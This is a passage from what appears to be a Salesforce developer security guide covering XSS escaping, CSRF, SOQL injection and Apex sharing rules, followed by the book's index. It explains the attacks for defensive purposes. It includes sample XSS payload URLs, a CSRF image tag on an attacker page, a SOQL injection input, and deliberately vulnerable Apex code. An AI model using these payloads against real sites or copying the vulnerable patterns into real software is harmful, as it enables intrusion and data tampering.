http://example.com/demo/hello.html?title=Adios%3C%2Ftitle%3E%3Cscript%3Ealert('xss')%3C%2Fscript%3E results in the output: <html><head><title>Adios</title><script>alert('xss')</script></title></head><body>Hello world!</body></html> The standard mechanism to do server-side escaping is through the use of the SUBSTITUTE() formula tag. Given the placement of the {!$Request.*} expression in the example, the above attack can be prevented by using the following nested SUBSTITUTE() calls. <html> <head> <title>{! SUBSTITUTE(SUBSTITUTE($Request.title,"<","<"),">",">")}</title> </head> <body>Hello world!</body> </html> 94 Formula TagsSecurity Tips for Apex and Visualforce Development
  • 101. Depending on the placement of the tag and usage of the data, both the characters needing escaping, as well as their escaped counterparts, can vary. For instance, this statement: <script>var ret = "{!$Request.retURL}";script>var ret = "{!$Request.retURL}";</script> requires that the double quote character be escaped with its URL encoded equivalent of %22 instead of the HTML escaped ", since it is probably going to be used in a link. Otherwise, the request: http://example.com/demo/redirect.html?retURL= foo%22%3Balert('xss')%3B%2F%2F results in: <script>var ret = "foo";alert('xss');//";</script> Additionally, the ret variable might need additional client-side escaping later in the page if it is used in a way which can cause included HTML control characters to be interpreted. Formula tags can also be used to include platform object data. Although the data is taken directly from the user's organization, it must still be escaped before use to prevent users from executing code in the context of other users (potentially those with higher privilege levels). While these types of attacks must be performed by users within the same organization, they undermine the organization's user roles and reduce the integrity of auditing records. Additionally, many organizations contain data which has been imported from external sources and might not have been screened for malicious content. Cross-Site Request Forgery (CSRF) Cross-Site Request Forgery (CSRF) flaws are less of a programming mistake as they are a lack of a defense. The easiest way to describe CSRF is to provide a very simple example. An attacker has a Web page at www.attacker.com. This could be any Web page, including one that provides valuable services or information that drives traffic to that site. Somewhere on the attacker's page is an HTML tag that looks like this: <img src="http://www.yourwebpage.com/yourapplication/[email protected]&type=admin....." height=1 width=1 /> In other words, the attacker's page contains a URL that performs an action on your website. If the user is still logged into your Web page when they visit the attacker's Web page, the URL is retrieved and the actions performed. This attack succeeds because the user is still authenticated to your Web page. This is a very simple example and the attacker can get more creative by using scripts to generate the callback request or even use CSRF attacks against your AJAX methods. For more information and traditional defenses, see the following articles: • http://www.owasp.org/index.php/Cross-Site_Request_Forgery • http://www.cgisecurity.com/csrf-faq.html • http://shiflett.org/articles/cross-site-request-forgeries Within the Force.com platform, salesforce.com has implemented an anti-CSRF token to prevent this attack. Every page includes a random string of characters as a hidden form field. Upon the next page load, the application checks the validity of this string of characters and does not execute the command unless the value matches the expected value. This feature protects you when using all of the standard controllers and methods. Here again, the developer might bypass the built-in defenses without realizing the risk. For example, suppose you have a custom controller where you take the object ID as an input parameter, then use that input parameter in an SOQL call. Consider the following code snippet. <apex:page controller="myClass" action="{!init}"</apex:page> public class myClass { 95 Cross-Site Request Forgery (CSRF)Security Tips for Apex and Visualforce Development
  • 102. public void init() { Id id = ApexPages.currentPage().getParameters().get('id'); Account obj = [select id, Name FROM Account WHERE id = :id]; delete obj; return ; } } In this case, the developer has unknowingly bypassed the anti-CSRF controls by developing their own action method. The id parameter is read and used in the code. The anti-CSRF token is never read or validated. An attacker Web page might have sent the user to this page using a CSRF attack and provided any value they wish for the id parameter. There are no built-in defenses for situations like this and developers should be cautious about writing pages that take action based upon a user-supplied parameter like the id variable in the preceding example. A possible work-around is to insert an intermediate confirmation page before taking the action, to make sure the user intended to call the page. Other suggestions include shortening the idle session timeout for the organization and educating users to log out of their active session and not use their browser to visit other sites while authenticated. SOQL Injection In other programming languages, the previous flaw is known as SQL injection. Apex does not use SQL, but uses its own database query language, SOQL. SOQL is much simpler and more limited in functionality than SQL. Therefore, the risks are much lower for SOQL injection than for SQL injection, but the attacks are nearly identical to traditional SQL injection. In summary SQL/SOQL injection involves taking user-supplied input and using those values in a dynamic SOQL query. If the input is not validated, it can include SOQL commands that effectively modify the SOQL statement and trick the application into performing unintended commands. For more information on SQL Injection attacks see: • http://www.owasp.org/index.php/SQL_injection • http://www.owasp.org/index.php/Blind_SQL_Injection • http://www.owasp.org/index.php/Guide_to_SQL_Injection • http://www.google.com/search?q=sql+injection SOQL Injection Vulnerability in Apex Below is a simple example of Apex and Visualforce code vulnerable to SOQL injection. <apex:page controller="SOQLController" > <apex:form> <apex:outputText value="Enter Name" /> <apex:inputText value="{!name}" /> <apex:commandButton value="Query" action="{!query}“ /> </apex:form> </apex:page> public class SOQLController { public String name { get { return name;} set { name = value;} } public PageReference query() { String qryString = 'SELECT Id FROM Contact WHERE ' + '(IsDeleted = false and Name like '%' + name + '%')'; queryResult = Database.query(qryString); return null; } } This is a very simple example but illustrates the logic. The code is intended to search for contacts that have not been deleted. The user provides one input value called name. The value can be anything provided by the user and it is never validated. The 96 SOQL InjectionSecurity Tips for Apex and Visualforce Development
  • 103. SOQL query is built dynamically and then executed with the Database.query method. If the user provides a legitimate value, the statement executes as expected: // User supplied value: name = Bob // Query string SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%') However, what if the user provides unexpected input, such as: // User supplied value for name: test%') OR (Name LIKE ' In that case, the query string becomes: SELECT Id FROM Contact WHERE (IsDeleted = false AND Name LIKE '%test%') OR (Name LIKE '%') Now the results show all contacts, not just the non-deleted ones. A SOQL Injection flaw can be used to modify the intended logic of any vulnerable query. SOQL Injection Defenses To prevent a SOQL injection attack, avoid using dynamic SOQL queries. Instead, use static queries and binding variables. The vulnerable example above can be re-written using static SOQL as follows: public class SOQLController { public String name { get { return name;} set { name = value;} } public PageReference query() { String queryName = '%' + name + '%'; queryResult = [SELECT Id FROM Contact WHERE (IsDeleted = false and Name like :queryName)]; return null; } } If you must use dynamic SOQL, use the escapeSingleQuotes method to sanitize user-supplied input. This method adds the escape character () to all single quotation marks in a string that is passed in from a user. The method ensures that all single quotation marks are treated as enclosing strings, instead of database commands. Data Access Control The Force.com platform makes extensive use of data sharing rules. Each object has permissions and may have sharing settings for which users can read, create, edit, and delete. These settings are enforced when using all standard controllers. When using an Apex class, the built-in user permissions and field-level security restrictions are not respected during execution. The default behavior is that an Apex class has the ability to read and update all data within the organization. Because these rules are not enforced, developers who use Apex must take care that they do not inadvertently expose sensitive data that would normally be hidden from users by user permissions, field-level security, or organization-wide defaults. This is particularly true for Visualforce pages. For example, consider the following Apex pseudo-code: public class customController { public void read() { Contact contact = [SELECT id FROM Contact WHERE Name = :value]; } } 97 Data Access ControlSecurity Tips for Apex and Visualforce Development
  • 104. In this case, all contact records are searched, even if the user currently logged in would not normally have permission to view these records. The solution is to use the qualifying keywords with sharing when declaring the class: public with sharing class customController { . . . } The with sharing keyword directs the platform to use the security sharing permissions of the user currently logged in, rather than granting full access to all records. 98 Data Access ControlSecurity Tips for Apex and Visualforce Development
  • 105. Index A Access about 8 revoking 9 Administrative permissions 34 App permissions 34 Apps visibility, setting in permission sets 26 Archiving field history 87 Auditing fields 85–87 C Code security 92 Cookies 2 Creating groups 68 Criteria-based sharing rules 46 Custom objects permissions 29 Custom views permission sets 22 Customer Portal organization-wide defaults 41 D Desktop clients setting user access 34–35 Development security 92 E Editing groups 68 Enhanced profile user interface about 12 apps 13 desktop client access 35 system 13 External organization-wide sharing settings disabling 44 F Field-level security permission sets 33 profiles 33 Fields access 32–33 Fields (continued) archiving history 87 auditing 85–87 field-level security 32–33 history 85–87 permissions 33 tracking changes 85–87 G General permissions 34 Groups about 67 creating and editing 68 member types 69 viewing all users 70 H History disabling field tracking 88 fields 85–87 I Inline editing permission sets 23 profiles 11 IP addresses trusted 36 whitelist 36 L Login activation 36 failures 84 history 84 hours, restricting 36, 39–40 identity confirmation 36 IP address ranges, restricting 36, 38 login verification 36 restricting 4 restricting IP addresses organization-wide 76 session security 77 trusted IP addresses 36 two-factor authentication 36 M Manual sharing 7 Modify All permission 30 99 Index
  • 106. N Network access 76 O Object permissions 29–30 Object-level security 6 Organization-wide defaults parallel recalculation 62 Organization-wide sharing settings about 6 setting 43 specifying 41–42 user records 64 P Page layouts assigning 20 assigning in profiles 17 Partner Portal organization-wide defaults 41 Passwords changing by user 3 expiring 2 expiring all passwords 75 policies 2 settings and controls 73 Permission sets about 20 app permissions 34 apps 24 assigned users 27 assigning to a single user 28 assigning to multiple users 28 cloning 21 creating 21 deleting 23 editing 23 field permissions 33 licenses 21 list views, creating and editing 22 navigating 25 object permissions 6, 29 overview page 23 record types 26 removing user assignments 29 searching 25 system 24 system permissions 34 tab settings 17 user licenses 21 viewing 23 Permissions about 8 Permissions (continued) administrative 34 app 34 field 33 general 34 Modify All 30 object 29–30 revoking 9 searching 14 system 34 user 34 View All 30 Personal groups 67 Profiles about 9 assigned users 12 cloning 12 creating 12 deleting 10, 13, 15 desktop client access 35 editing 11 editing, original user interface 16 enhanced list views 10 enhanced user interface, about 12 field permissions 33 field-level security 32 login hours 39–40 login IP address ranges 38 object permissions 6, 29 overview page 13 page layout assignments 17, 20 record types 17, 19 searching 14 tab settings 17 user permissions 34 viewing 13, 15 viewing lists 10 Public groups 67 R Record types access, about 27 assigning in permission sets 26 assigning in profiles 17, 19 assigning page layouts for 17 Role hierarchies about 6 Roles managing 66 viewing 66 Rules, sharing See Sharing rules 7 100 Index
  • 107. S Salesforce Classic permissions 40 Searching permission sets 25 profiles 14 Security auditing 7 browsers 1 CAPTCHA 4 code 92 cookies 2 field permissions 6 field-level 6 field-level security 32–33 identity providers overview 4 infrastructure 1 key 36 login challenge 4 login IP address ranges 38 login restrictions 36 manual sharing 7 My Domain overview 4 network 4 object permissions 6 object-level 6 organization-wide sharing settings 6 overview 1 QR code 36 record-level security 6 restricting IP addresses organization-wide 76 role hierarchies 6 session 5 sharing rules 7 single sign-on 3 SSL 5 time-based token 36 timeout 5 token 36 trust 2 two-factor authentication 36 user 2 user authentication 3 Security and sharing managing 5 Separate organization-wide defaults overview 43 Session security 77 Setup monitoring changes 88 Sharing organization-wide defaults 41–42 rule considerations 61 rules, See Sharing rules 45 separate organization-wide defaults 43 Sharing (continued) settings 41–42 user sharing considerations 63 users 65 Sharing groups See Groups 67 Sharing model object permissions and 30 Sharing rules about 45 account territories 57 account territory 48 accounts 47, 56 campaigns 51, 59 cases 51, 58 categories 54 contacts 49, 57 criteria-based 46 custom objects 52, 60 leads 46, 55 notes 61 opportunities 50, 58 parallel recalculation 62 sharing rule recalculation 62 user 53, 60 Sharing, manual See Manual sharing 7 single sign-on 3 System permissions 34 T Tabs visibility settings 17 Territories hierarchies 6 trust 2 U User permissions 34 User profiles See Profiles 9 User roles See Roles 66 User setup changing passwords 3 groups 67 personal groups 67 public groups 67 Users access 8 assigned to profiles 12 manual sharing 65 object permissions 29 organization-wide defaults 63 permission set assignments 27 101 Index
  • 108. Users (continued) permission sets, assigning to multiple users 28 permission sets, assigning to single user 28 permission sets, removing user assignments 29 permissions 8, 34 revoking access 9 revoking permissions 9 sharing records 63 Users (continued) sharing rules 63 user sharing, restoring defaults 65 V View All permission 30 Viewing all users in group 70 102 Index